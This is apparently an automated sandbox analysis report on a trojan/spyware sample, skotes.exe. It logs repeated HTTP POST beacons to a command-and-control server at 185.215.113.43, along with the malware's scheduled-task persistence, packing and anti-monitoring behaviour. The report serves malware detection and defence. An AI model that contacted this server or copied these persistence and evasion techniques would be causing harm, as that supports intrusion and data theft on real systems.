Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 45 37 38 42 30 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BBB2E78B05D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_003CBE30 Sleep,InternetOpenW,InternetConnectA,HttpSendRequestA,InternetReadFile, 5_2_003CBE30
Source: unknown HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: skotes.exe, 00000005.00000002.4139586451.00000000013F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000005.00000002.4139586451.00000000013F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Jx
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.4139586451.00000000013F8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.4139586451.000000000141E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php-#
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/index.php
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php5
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php:
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpE
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpF
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpHa
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpM#
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpQ
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpQ#
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi#
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedN
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpqYo30zpOYVp
Source: skotes.exe, 00000005.00000002.4139586451.0000000001437000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=

System Summary
barindex
PE file contains section with special chars
Source: W5kZFcSOtE.exe Static PE information: section name:
Source: W5kZFcSOtE.exe Static PE information: section name: .idata
Source: W5kZFcSOtE.exe Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name:
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process Stats: CPU usage > 49%
Creates files inside the system directory
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_00407049 5_2_00407049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_00408860 5_2_00408860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_004078BB 5_2_004078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_00402D10 5_2_00402D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_003C4DE0 5_2_003C4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_004031A8 5_2_004031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_003F7F36 5_2_003F7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_003C4B30 5_2_003C4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_0040779B 5_2_0040779B
Uses 32bit PE files
Source: W5kZFcSOtE.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: W5kZFcSOtE.exe Static PE information: Section: myqznxfu ZLIB complexity 0.9945080210861651
Source: skotes.exe.0.dr Static PE information: Section: myqznxfu ZLIB complexity 0.9945080210861651
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@4/3@0/1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985 Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: W5kZFcSOtE.exe ReversingLabs: Detection: 47%
Source: W5kZFcSOtE.exe Virustotal: Detection: 47%
Source: W5kZFcSOtE.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe File read: C:\Users\user\Desktop\W5kZFcSOtE.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\W5kZFcSOtE.exe "C:\Users\user\Desktop\W5kZFcSOtE.exe"
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: W5kZFcSOtE.exe Static file information: File size 2129408 > 1048576
Source: W5kZFcSOtE.exe Static PE information: Raw size of myqznxfu is bigger than: 0x100000 < 0x19c000

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe Unpacked PE file: 0.2.W5kZFcSOtE.exe.ae0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;myqznxfu:EW;fjvmmomw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;myqznxfu:EW;fjvmmomw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 1.2.skotes.exe.3c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;myqznxfu:EW;fjvmmomw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;myqznxfu:EW;fjvmmomw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 5.2.skotes.exe.3c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;myqznxfu:EW;fjvmmomw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;myqznxfu:EW;fjvmmomw:EW;.taggant:EW;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: W5kZFcSOtE.exe Static PE information: real checksum: 0x20d2bf should be: 0x214e04
Source: skotes.exe.0.dr Static PE information: real checksum: 0x20d2bf should be: 0x214e04
PE file contains sections with non-standard names
Source: W5kZFcSOtE.exe Static PE information: section name:
Source: W5kZFcSOtE.exe Static PE information: section name: .idata
Source: W5kZFcSOtE.exe Static PE information: section name:
Source: W5kZFcSOtE.exe Static PE information: section name: myqznxfu
Source: W5kZFcSOtE.exe Static PE information: section name: fjvmmomw
Source: W5kZFcSOtE.exe Static PE information: section name: .taggant
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: myqznxfu
Source: skotes.exe.0.dr Static PE information: section name: fjvmmomw
Source: skotes.exe.0.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 5_2_003DD91C push ecx; ret 5_2_003DD92F
Source: W5kZFcSOtE.exe Static PE information: section name: entropy: 7.144302126553273
Source: W5kZFcSOtE.exe Static PE information: section name: myqznxfu entropy: 7.954428288753175
Source: skotes.exe.0.dr Static PE information: section name: entropy: 7.144302126553273
Source: skotes.exe.0.dr Static PE information: section name: myqznxfu entropy: 7.954428288753175
Drops PE files
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file

Boot Survival
barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
